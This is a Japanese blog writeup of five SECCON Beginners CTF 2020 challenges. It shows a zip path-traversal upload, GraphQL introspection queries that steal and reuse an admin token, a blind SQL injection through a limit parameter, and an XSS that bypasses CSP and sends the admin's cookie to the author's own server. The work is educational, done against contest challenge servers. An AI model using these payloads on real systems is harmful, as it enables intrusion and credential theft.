SECCON Beginners CTF 2020 Writeup
久しぶりにちゃんとCTFに参加したので、Writeup書いてみます。
emoemoencode (Misc: 53)
Do you know emo-emo-encode? emoemoencode.txt
テキストファイルの中身は以下の絵文字が並んだもの。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
これをデコードしてフラグを得る
まず、ユニコードの表を見てみる。
Unicode/UTF-8-character table - starting from code position 1F340
ファイルの絵文字を見ると、SUSHI⇒FORK AND KNIFE⇒SOFT ICE CREAM となっている。
Unicode code point | character | UTF-8 | name |
---|---|---|---|
U+1F363 | 🍣 | f0 9f 8d a3 | SUSHI |
U+1F374 | 🍴 | f0 9f 8d b4 | FORK AND KNIFE |
U+1F366 | 🍦 | f0 9f 8d a6 | SOFT ICE CREAM |
このUnicode code pointの末尾がasciiでctfとなっていることから、ここがフラグではないかと予想を立て、復号する。
encoded_file = open('emoemoencode.txt-2586093c6d0bf61e0babf4d142c2418fb243b188', 'r', encoding='utf-8') content = encoded_file.read() flag = '' for c in content: flag += chr(int(format(ord(c), '#08x')[-2:], 16)) print(flag)
- Flag
ctf4b{stegan0graphy_by_em000000ji}
所感
久しぶりのCTFだったので、さらっと肩慣らしに解いてみた問題です。最初にTerapadで開いたら、絵文字に対応してなくて、何も表示されず、絵文字を気づくまでにちょっとかかりました。 実際にはスクリプトを書く前に手動でデコードしたことは秘密です。
unzip (Web: 188)
Unzip Your .zip Archive Like a Pro.
https://unzip.quals.beginners.seccon.jp/
Hint: index.php (sha1: 968357c7a82367eb1ad6c3a4e9a52a30eada2a7d)
Hint (updated at 5/23 17:30) docker-compose.yml
zipファイルをアップロードすると、その中身を表示し、テキストファイルは内容を参照できるようになる。
docker-compose.ymlを見ると、/flag.txtをマウントしており、これを参照できればフラグをゲットできそう。
調べていたら、過去のCTFで似たような問題が見つかった。
hackim 2016: smasththestate (web 400) | LosFuzzys
シンボリックリンクをアップロードして、ファイルを参照するらしく、同じ方法をやってみたが、うまくいかなかった。
$ ln -s ../../flag.txt $ zip -y pwn.zip flag.txt
ソースコードを読んでいると、単純にZIP内のファイル名が「../../flag.txt」となっていれば、そこにアクセスできそうなので、そんなZIPファイルを作ってみる。
想定通りのファイルができたので、アップロードし、そのファイルにアクセスすると、フラグが得られる。
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
所感
自分が始めたときにはヒントにdocker-compose.ymlが上がっていたので、あまり気にならなかったんですが、docker-compose.ymlなしで解いたチームが10チームほどいたんですよね……。 そうなると、完全にエスパー問題なので、そんな解いてるチームがあることに驚きでした。
profiler (Web: 301)
Let's edit your profile with profiler!
Hint: You don't need to deobfuscate *.js
Notice: Server is periodically initialized.
登録とログインができる。
登録すると、ユーザにtokenが発行され、忘れるなと言われる。
登録したアカウントでログインすると、Profileを変更する機能があり、この変更には登録時に発行されたtokenが必要になる。
Profileと正しいtokenを入力し「Update」すると、Profileを変更できる。
「Get FLAG」のボタンを押すと、Administorator(uid:admin)でないと、使えないというエラーが表示される。
Burpで通信を見てみると、バックエンドのAPIサーバとやり取りしている。
通信の中身からGraphQLを利用しているらしいことがわかるので、GraphQLに対する攻撃を調べる。
PayloadsAllTheThingsにいい感じの内容があったので、これをもとに攻撃してみる。
PayloadsAllTheThings/GraphQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
BurpでAPIのリクエストをRepeaterに送り、ペイロードを書き換えつつ攻撃する。
まず、全体のスキーマを確認する。
- リクエスト
{"query":"query {__schema{types{name}}}"}
- レスポンス
HTTP/1.1 200 OK Server: nginx Date: Sun, 24 May 2020 10:54:14 GMT Content-Type: application/json Content-Length: 318 Connection: close {"data":{"__schema":{"types":[{"name":"Query"},{"name":"User"},{"name":"ID"},{"name":"String"},{"name":"Mutation"},{"name":"Boolean"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}
クエリの種類を確認する
- リクエスト
{"query":"query {__type (name: \"Query\") {name fields{name type{name kind ofType{name kind}}}}}"}
- レスポンス
HTTP/1.1 200 OK Server: nginx Date: Sun, 24 May 2020 11:02:44 GMT Content-Type: application/json Content-Length: 312 Connection: close {"data":{"__type":{"fields":[{"name":"me","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"User"}}},{"name":"someone","type":{"kind":"OBJECT","name":"User","ofType":null}},{"name":"flag","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String"}}}],"name":"Query"}}}
通常の通信を見ていると、「me」というクエリを投げていたが、そのほかに「someone」というクエリが存在することがわかる。 これを利用すれば、adminのtokenを取得できる可能性がある。
Userに対するQueryのフィールドを調べる
- リクエスト
{"query":"query {__type (name: \"User\") {name fields{name type{name kind ofType{name kind}}}}}"}
- レスポンス
HTTP/1.1 200 OK Server: nginx Date: Sun, 24 May 2020 10:57:00 GMT Content-Type: application/json Content-Length: 438 Connection: close {"data":{"__type":{"fields":[{"name":"uid","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"ID"}}},{"name":"name","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String"}}},{"name":"profile","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String"}}},{"name":"token","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String"}}}],"name":"User"}}}
Userというクエリはuid、name、profile、tokenのフィールドを持っていることがわかった。
以上から、「someone」というクエリを使い、uidがadminのユーザのtokenを取得する。
- リクエスト
{"query":"query {someone(uid: \"admin\"){uid token name profile}}"}
- レスポンス
HTTP/1.1 200 OK Server: nginx Date: Sat, 23 May 2020 12:32:36 GMT Content-Type: application/json Content-Length: 157 Connection: close {"data":{"someone":{"name":"admin","profile":"Hello, I'm admin.","token":"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b","uid":"admin"}}}
これでAdministratorのtokenを取得できたので、これをセットして、flagにアクセスすれば、フラグが得られそう。
自分のユーザにAdministratorのtokenを設定するために、Mutationを調べてみる。
- リクエスト
{"query":"query {__type (name: \"Mutation\") {name fields{name}}}"}
- レスポンス
HTTP/1.1 200 OK Server: nginx Date: Sun, 24 May 2020 11:09:49 GMT Content-Type: application/json Content-Length: 99 Connection: close {"data":{"__type":{"fields":[{"name":"updateProfile"},{"name":"updateToken"}],"name":"Mutation"}}}
これを見ると、ユーザのプロファイルを変更するために利用していた、「updateProfile」のほかに「updateToken」というMutationが存在している。 これを利用すれば、自分のユーザにAdministratorのtokenを設定できそう。
「updateToken」の使い方を知るために、引数などを確認する
- リクエスト
{"query":"query {__type (name: \"Mutation\") {name inputFields{name} fields(includeDeprecated: true){name description args{name}}}}"}
- レスポンス
HTTP/1.1 200 OK Server: nginx Date: Sun, 24 May 2020 11:12:03 GMT Content-Type: application/json Content-Length: 227 Connection: close {"data":{"__type":{"fields":[{"args":[{"name":"profile"},{"name":"token"}],"description":null,"name":"updateProfile"},{"args":[{"name":"token"}],"description":null,"name":"updateToken"}],"inputFields":null,"name":"Mutation"}}}
どうやら、単純にtokenフィールドをしていすれば行けそう。
やってみる。
- リクエスト
{"query":"mutation {\n updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")\n }"}
これで、エラーなく200 OKが返ってくれば、tokenが変更されたので、フラグにアクセスする。
- Flag
ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}
所感
GaphQLに対する攻撃は初めてやりましたが、SQLインジェクションと方向はあまり変わらない印象を持ちました。GraphQLに対する攻撃としては割と単純な内容だったので、楽しかったです。
Tweetstore (Web: 150)
Search your flag!
Server: https://tweetstore.quals.beginners.seccon.jp/
File: https://score.beginners.seccon.jp/files/tweetstore.zip-ba4fce11c55ef57568fbca33f73c5ce022cad1c2
Tweetのデータ(link、本文、投稿日時)がデータベースに格納され、それを検索できる。
「search word」に単語で検索し、「search limit」で表示件数を絞れる。
ソースコードがあり、これを見ると、PostgreSQLで動いており、かつ、そのユーザ名がFlagになっていることがわかる。
また、「search word」の方はシングルクォートがエスケープされているが、「search limit」はそのまま入力を突っ込んでいるので、ここでSQLインジェクションができそう。
試しに「search limit」に「(SELECT 10)」を入れると、10件だけ表示される。
https://tweetstore.quals.beginners.seccon.jp/?search=&limit=(SELECT%2010)
limitパラメータを「(SELECT count(usename) from pg_user)」で実行すると2件表示されることから、PostgreSQLサーバ二は2つのユーザが登録されていることがわかる。
「(SELECT count(usename) from pg_user WHERE usename LIKE '%ctf%')」のようにすると、表示件数が1件となり、フラグとなるユーザを絞ることができる。
BurpのInsruderを使い、このURLを対象として、「usename LIKE 'ctf4b{%')」以降のアルファベットを順番に変更してリクエストを投げる。
正解の文字だけ、応答のサイズが異なるため、この違いを利用して、ブラインドSQLインジェクションを行い、ユーザ名を特定すると、それがフラグとなる。
所感
という解き方をチームのメンバーが先に見つけたので、最後にフラグだけもらいました。 ブラインドSQLインジェクション力が足りなさを感じました。 他のチームのWriteupを見ると、普通に「UNION SELECT」を使ってる人もいて、まあ、そうかあ、という感じ。
Somen (Web: 421)
Somen is tasty.
https://somen.quals.beginners.seccon.jp
Hint: worker.js (sha1: 47c8e9c879e2a2fb2e5435f2d0fcfaa274671f43)
usernameを入力すると、「Nagashi somen」か「Hiyashi somen」をランダムでお勧めしてくれる便利なサイト。
さらに2つ目の入力窓で入力した値は管理者がチェックしに来てくれる。worker.jsを見ると、その監理者のCookieにフラグが入っている。
usernameはjavascritpでページに表示されるほか、ページタイトルにもサニタイズされないまま埋め込まれるので、XSSが可能。 ただし、以下2つの障害がある。
- usernameの入力チェック(security.js)
- CSP
usernameの入力チェック は別ファイル(security.js)のjavascriptで行われ、次のようになっている。
const username = new URL(location).searchParams.get("username"); if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) { document.location = "/error.php"; }
つまり、大文字小文字の英数字しか利用できない。これでは到底XSSのペイロードは作れないので、これを回避する必要がある。
CSPは以下のようになっている。
Content-Security-Policy: default-src 'none'; script-src 'nonce-1JAkHYR7skEmIz2W5jfPqQMc91U=' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='
「default-src」は'none'。scriptはnonceやハッシュで制限されており、バイパスは難しい。
まず、入力チェックの回避方法。titleタグの中にHTMLを挿入され、その直下に対象となるsecurity.jsを読み込んでいるscriptタグがあるので、scriptタグを無駄に一つ挿入して次のscriptタグをつぶせる。
ひとまず、以下のペイロードで、error.phpの画面に飛ばされずに、任意の文字列を挿入できることがわかった。
</title><script>
↓
<title>Best somen for </title><script></title> <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
次にCSPのバイパスであるが、以下の記事や過去のCTFの問題を見たが、今回の問題に適用できそうな情報は見つからなかった。
Content Security Policy Level 3におけるXSS対策 - pixiv inside
CSP(コンテンツセキュリティポリシー)について調べてみた - SSTエンジニアブログ
そこで、既存のスクリプトを使って何かしらのスクリプトを挿入する必要がありそうという考えに至り、改めて、ソースコードをにらみつける作業に集中することにした。 「innerHTML」とCSPで調べ、以下の記事を見つけた。
XSS Challenge (セキュリティ・ミニキャンプ in 岡山 2018 演習コンテンツ) Writeup - Szarny.io
これの「Case 23: nonce + strict-dynamic」が問題の設問とかなり近く、参考になる、というかそのままな感じだった。
CSPに「strict-dynamic」が設定されているので、スクリプトから呼び出されたスクリプトは問題なく実行される。
<script nonce="<?= $nonce ?>"> const choice = l => l[Math.floor(Math.random() * l.length)]; window.onload = () => { const username = new URL(location).searchParams.get("username"); const adjective = choice(["Nagashi", "Hiyashi"]); if (username !== null) document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`; } </script>
上記のスクリプトでは、getElementByIdで要素を取得し、その内容を書き換えている。 そこで、getElementByIdでスクリプトタグを取得させて実行させることで、CSPをバイパスしてコード実行させる。
方針として、
- 上記のスクリプトから読んでいるタグに引っかかるようなscriptタグを挿入する
- そのscriptタグの中に自身を入れてjavascriptとして成立するようなペイロードを作成する
となる。
ということで、id="message"のスクリプトタグと、そこで実行するjavascriptを記載し、javascriptのコード部分以外はコメントアウトするという方針で以下のペイロードを作成した。
/*</title>*/alert(document.cookie)//<script id="message"></script><script>
これで、スクリプトが実行されたことを確認する。
ということで、以下のペイロードを送り付け、問題は終了。
/*</title>*/location.href='https://<自分のサーバ>/?cookie=' + document.cookie;//<script id="message"></script><script>
- Flag
ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017}
所感
CSPのバイパスの方法をめちゃくちゃ調べたので、すごい勉強になった。 CSPのプロはこの内容なら、「strict-dynamic」を設定する必要はないのに、設定されているから、この方針で解けるみたいなことがわかったりするんだろうか……。 あと、security.jsの回避は、自分は割と早い段階で上のやり方でできたので、深く考えてなかったが、想定解はbaseタグを挿入するやり方らしい。まあ、確かにCSPに関する問題ならそうか。
全体の所感
今回割と真面目に時間とって問題に臨みましたが、Web問は全問解けたので、個人的には結構満足してます。結構自分のレベルに合った問題でした。 ようやくCTFのビギナーになれたのかもしれない。